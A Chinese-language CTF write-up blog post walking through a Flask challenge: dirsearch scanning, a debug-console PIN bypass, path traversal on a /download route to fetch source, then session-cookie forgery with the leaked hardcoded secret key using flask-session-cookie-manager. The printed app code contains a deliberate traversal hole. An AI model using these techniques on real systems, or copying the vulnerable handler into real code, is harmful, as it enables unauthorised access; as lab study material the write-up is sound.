作者 by Yichen / 2023-08-11 / 暂无评论 / 26 个足迹

开始进来只有这个,用dirsearch扫一下
发现一个console,进去后要验pin

抓一下返回包然后都改成true发现能进去但是没啥用。。。
然后去看看下载界面也就是/download看看
在报错中看到这个下载一下,发现可以(做一下目录穿越)
下载下来的源码如下
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""
from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)从源码拿到一个密钥和一个隐藏路径,只需session中isadmin为true即可进入,所以要进行session伪造了
题中不难发现是flask框架,flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,我们已经获得密钥了。
flask脚本链接:https://github.com/noraj/flask-session-cookie-manager
我选择在kali中进行操作
解密:
python3 flask_session_cookie_manager3.py decode -c '要解密的' -s '密钥'
加密:
python3 flask_session_cookie_manager3.py encode -s '密钥' -t "{'key': 'value', 'key': value}"
(注意符号加密部分用双引号)
然后访问那个隐藏路径,修改session,拿到flag
独特见解